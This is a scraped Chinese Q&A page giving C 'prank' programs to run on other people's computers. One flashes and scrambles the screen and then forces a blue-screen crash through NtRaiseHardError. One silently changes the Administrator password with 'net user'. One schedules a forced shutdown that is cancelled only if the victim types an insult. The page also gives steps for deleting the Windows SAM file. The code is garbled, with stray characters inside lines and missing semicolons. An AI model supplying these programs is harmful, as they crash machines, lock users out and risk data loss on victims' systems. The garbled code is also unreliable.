求一个C语言整人代码!!!

求一个C语言整人代码!!!,第1张

先上代码

#include <Windows.h>

#include <time.h>

using namespace std

int call

int ScreenWidth = GetSystemMetrics(SM_CXSCREEN)

int ScreenHeight = GetSystemMetrics(SM_CYSCREEN)

int IconWidth = GetSystemMetrics(SM_CXICON)

int IconHeight = GetSystemMetrics(SM_CYICON)

HDC hdc=GetWindowDC(GetDesktopWindow())

#define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0)

int random(int upper_bound) {

 if(upper_bound==0) {

  return 0

 }

 srand((unsigned)(time(NULL) * clock() * rand()*call + time(NULL) + rand()+call))

 call++

 return rand() % upper_bound

}

DWORD WINAPI FlashDesktop(LPVOID Param) {

 while(true) {

  BitBlt(hdc, 0, 0, ScreenWidth, ScreenHeight, hdc, 0, 0, NOTSRCCOPY)

  Sleep(random(100))

 }

 return 0

}

int GetWay() {

 int r=random(3)

 switch(r) {

  case 0:

   return SRCAND

  case 1:

   return SRCINVERT

  case 2:

   return SRCPAINT

 }

}

DWORD WINAPI ScreenXorOperation1(LPVOID Param) {

 while(true) {

  int RandWidth = random(ScreenWidth)

  int RandHeight = random(ScreenHeight)

  int RandxPixel = random(ScreenWidth - RandWidth)

  如纤穗int RandyPixel = random(ScreenHeight - RandHeight)

  int RandDestxPixel = random(ScreenWidth - RandWidth)

  int RandDestyPixel = random(ScreenHeight - RandHeight)

  BitBlt(hdc, RandxPixel, RandyPixel, RandWidth, RandHeight, hdc, RandDestxPixel, RandDestyPixel, SRCINVERT)

  Sleep(random(100))

 }

 return 0

}

DWORD WINAPI ScreenXorOperation2(LPVOID Param) {

 while(true) {

  int RandWidth = random(ScreenWidth)

  int RandHeight = random(ScreenHeight)

  int RandxPixel = random(ScreenWidth - RandWidth) + RandWidth

  int RandyPixel = random(ScreenHeight - RandHeight) + RandHeight

  int RandDestxPixel = random(ScreenWidth - RandWidth) + RandWidth

  竖帆int RandDestyPixel = random(ScreenHeight - RandHeight) + RandHeight

  BitBlt(hdc, RandxPixel, RandyPixel, RandWidth, RandHeight, hdc, RandDestxPixel, RandDestyPixel, SRCINVERT)

  Sleep(random(100))

 }

 return 0

}

DWORD WINAPI CallBsod1MinLater(LPVOID Param) {

 Sleep(60000)

 HMODULE ntdll = LoadLibrary("渣卜ntdll.dll")

 FARPROC RtlAdjustPrivilege=GetProcAddress(ntdll,"RtlAdjustPrivilege")

 FARPROC NtRaiseHardError=GetProcAddress(ntdll,"NtRaiseHardError")

 unsigned char temp0

 long unsigned int temp1

 ((void(*)(DWORD, DWORD, BOOLEAN, LPBYTE))RtlAdjustPrivilege)(0x13, true, false, &temp0)

 ((void(*)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))NtRaiseHardError)(0xc000021a, 0, 0, 0, 6, &temp1)

 return 0

}

DWORD WINAPI DrawErrors(LPVOID Param) {

 while(true) {

  int RandxPixel = random(ScreenWidth - IconWidth / 2)

  int RandyPixel = random(ScreenHeight - IconHeight / 2)

  DrawIcon(hdc, RandxPixel, RandyPixel, LoadIcon(NULL, IDI_ERROR))

  Sleep(random(50))

 }

 return 0

}

int main(void) {

 CreateThread(NULL, 4096, &FlashDesktop, NULL, NULL, NULL)

 CreateThread(NULL, 4096, &ScreenXorOperation1, NULL, NULL, NULL)

 CreateThread(NULL, 4096, &ScreenXorOperation2, NULL, NULL, NULL)

 CreateThread(NULL, 4096, &CallBsod1MinLater, NULL, NULL, NULL)

 CreateThread(NULL, 4096, &DrawErrors, NULL, NULL, NULL)

 while(true)

}

运行这段代码首先会花屏并闪屏,一分钟后蓝屏。

效果图:

一个小东西 介闷则饥绍了后别笑话我 !它的功能很简单,就是把Administrator的密码该成xiaoniaoheihei

大家整了人之后切记告诉他密码(xiaoniaoheihei)

由于不能上传文件文件尺寸:

小于 200 kb

可用扩展名: gif, jpg

自己可以用TC2.0编写编译调试生成

C语言下的代码如下:

main()

{

system("net user administrator xiaoniaoheihei")

}

如果自己真的不小蚂返心忘记了密码 如果是XP系统 管理员密码破解如下:

1.用个启动盘启动电脑后进入DOS 状态盯或下:输入如下命令

del X:\windows\sysrem32\config\sam 回车

copy x:\windows\repair\sam x:\windows\system32\config 回车

2.重新启动计算机。X为安装XP的盘 一般为c:

#include"stdio.h"

#include"stdlib.h"

#include"windows.h"

main()

{

int

i

printf("呃,我要做什么呢?让我想想")

for(i=1i<=7i++)

{

printf(".

")

Sleep(1*1000)

}

printf("\n")

printf("啊,有了

哈哈")

for(i=1i<=15i++)

{

printf("~")

Sleep(1*100)

}

printf("\n")

char

write[100]

system("shutdown

-s

-t

60"蠢猜)

printf("快说你是猪!不然就给你关机,你只有一分钟考虑时间!\n")

gt:

scanf("%s",write)

if(strcmp(write,"我是猪")==0)

{

printf("哈哈,这就对了~~~\n\n")

system("shutdown

-a")

}

if(strcmp(write,"我是猪")!=0)

{

printf("不说是吧?没关系,那就等着关机吧,哈哈漏档核哈哈!\n")

goto

gt

}

}

这个返掘是个整人的小程序代码,打开后会有提示,提示后会启动系统关机倒计时,只有按提示输入正确的汉字才能关闭“系统关机”命令。本人初学者,自己调的,仅供参考。只做娱乐使用,注意保存修改过的文件。


欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/yw/12557910.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-05-26
下一篇 2023-05-26

发表评论

登录后才能评论

评论列表(0条)

保存